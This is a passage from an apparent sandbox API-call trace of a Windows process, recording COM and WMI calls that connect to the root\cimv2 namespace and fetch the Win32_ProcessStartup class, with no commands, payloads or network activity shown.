Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bece3a0) returned 0x0 [0090.344] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece3a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0090.344] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece3a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119bba0) returned 0x0 [0090.344] WbemDefPath:IUnknown:Release (This=0x1bece3a0) returned 0x0 [0090.344] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119bba0) returned 0x0 [0090.344] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0090.345] WbemDefPath:IUnknown:AddRef (This=0x119bba0) returned 0x3 [0090.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0090.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0090.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bece3e0) returned 0x0 [0090.345] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece3e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.345] WbemDefPath:IUnknown:Release (This=0x1bece3e0) returned 0x3 [0090.345] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0090.345] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0090.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0090.345] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x2 [0090.345] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x1 [0090.345] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0090.345] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0090.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119bba0) returned 0x0 [0090.345] WbemDefPath:IUnknown:AddRef (This=0x119bba0) returned 0x3 [0090.345] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x2 [0090.345] WbemDefPath:IWbemPath:SetText (This=0x119bba0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0090.345] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bba0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0090.346] WbemDefPath:IWbemPath:GetText (in: This=0x119bba0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0090.346] WbemDefPath:IWbemPath:GetText (in: This=0x119bba0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0090.346] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bba0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0090.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bba0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0090.346] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bba0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0090.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bba0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0090.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0090.346] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0090.346] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.346] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0090.346] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0090.346] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0090.346] IUnknown:Release (This=0x111f638) returned 0x1 [0090.348] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bece320) returned 0x0 [0090.348] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece320, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0090.348] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece320, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x119ad60) returned 0x0 [0090.349] WbemDefPath:IUnknown:Release (This=0x1bece320) returned 0x0 [0090.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x119ad60) returned 0x0 [0090.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0090.349] WbemDefPath:IUnknown:AddRef (This=0x119ad60) returned 0x3 [0090.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0090.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0090.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bece360) returned 0x0 [0090.349] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece360, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.349] WbemDefPath:IUnknown:Release (This=0x1bece360) returned 0x3 [0090.349] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0090.349] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0090.350] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0090.350] WbemDefPath:IUnknown:Release (This=0x119ad60) returned 0x2 [0090.350] WbemDefPath:IUnknown:Release (This=0x119ad60) returned 0x1 [0090.350] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0090.350] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0090.350] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x119ad60) returned 0x0 [0090.350] WbemDefPath:IUnknown:AddRef (This=0x119ad60) returned 0x3 [0090.350] WbemDefPath:IUnknown:Release (This=0x119ad60) returned 0x2 [0090.350] WbemDefPath:IWbemPath:SetText (This=0x119ad60, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0090.350] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ad60, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0090.350] WbemDefPath:IWbemPath:GetText (in: This=0x119ad60, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0090.350] WbemDefPath:IWbemPath:GetText (in: This=0x119ad60, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.350] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0090.350] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0090.350] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0090.350] IUnknown:Release (This=0x111f638) returned 0x1 [0090.351] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bece780) returned 0x0 [0090.352] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece780, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0090.352] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bece780, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bece6e0) returned 0x0 [0090.352] WbemLocator:IUnknown:Release (This=0x1bece780) returned 0x0 [0090.352] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece6e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bece6e0) returned 0x0 [0090.352] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece6e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0090.352] WbemLocator:IUnknown:AddRef (This=0x1bece6e0) returned 0x3 [0090.352] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece6e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0090.352] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece6e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0090.352] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece6e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0090.352] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0090.352] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0090.352] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece6e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0090.353] WbemLocator:IUnknown:Release (This=0x1bece6e0) returned 0x2 [0090.353] WbemLocator:IUnknown:Release (This=0x1bece6e0) returned 0x1 [0090.353] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0090.353] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0090.353] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece6e0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bece6e0) returned 0x0 [0090.353] WbemLocator:IUnknown:AddRef (This=0x1bece6e0) returned 0x3 [0090.353] WbemLocator:IUnknown:Release (This=0x1bece6e0) returned 0x2 [0090.353] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ad60, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0090.353] WbemDefPath:IWbemPath:GetText (in: This=0x119ad60, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0090.353] WbemDefPath:IWbemPath:GetText (in: This=0x119ad60, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.353] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bece700) returned 0x0 [0090.353] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bece700, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bea6900) returned 0x0 [0090.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6900, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11df2a0) returned 0x0 [0090.676] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df2a0, pProxy=0x1bea6900, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0090.676] WbemLocator:IUnknown:Release (This=0x11df2a0) returned 0x1 [0090.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6900, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11df2e0) returned 0x0 [0090.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6900, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11df2a0) returned 0x0 [0090.676] WbemLocator:IClientSecurity:SetBlanket (This=0x11df2a0, pProxy=0x1bea6900, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0090.677] WbemLocator:IUnknown:Release (This=0x11df2a0) returned 0x2 [0090.677] WbemLocator:IUnknown:Release (This=0x11df2e0) returned 0x1 [0090.677] CoTaskMemFree (pv=0x1bf3cfe0) [0090.677] WbemLocator:IUnknown:AddRef (This=0x1bea6900) returned 0x2 [0090.677] WbemLocator:IUnknown:Release (This=0x1bece700) returned 0x0 [0090.677] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0090.678] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0090.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6900, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11df2b0) returned 0x0 [0090.678] WbemLocator:IRpcOptions:Query (in: This=0x11df2b0, pPrx=0x1bece660, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0090.678] WbemLocator:IUnknown:Release (This=0x11df2b0) returned 0x2 [0090.678] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0090.678] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0090.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6900, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bea6900) returned 0x0 [0090.678] WbemLocator:IUnknown:Release (This=0x1bea6900) returned 0x2 [0090.678] SysStringLen (param_1=0x0) returned 0x0 [0090.678] WbemDefPath:IWbemPath:GetText (in: This=0x119bba0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0090.678] WbemDefPath:IWbemPath:GetText (in: This=0x119bba0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0090.679] IWbemServices:GetObject (in: This=0x1bea6900, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11fc720, ppCallResult=0x0) returned 0x0 [0090.680] IWbemClassObject:Get (in: This=0x11fc720, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0090.680] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0090.681] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0090.681] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0090.681] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0090.681] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0090.681] IUnknown:Release 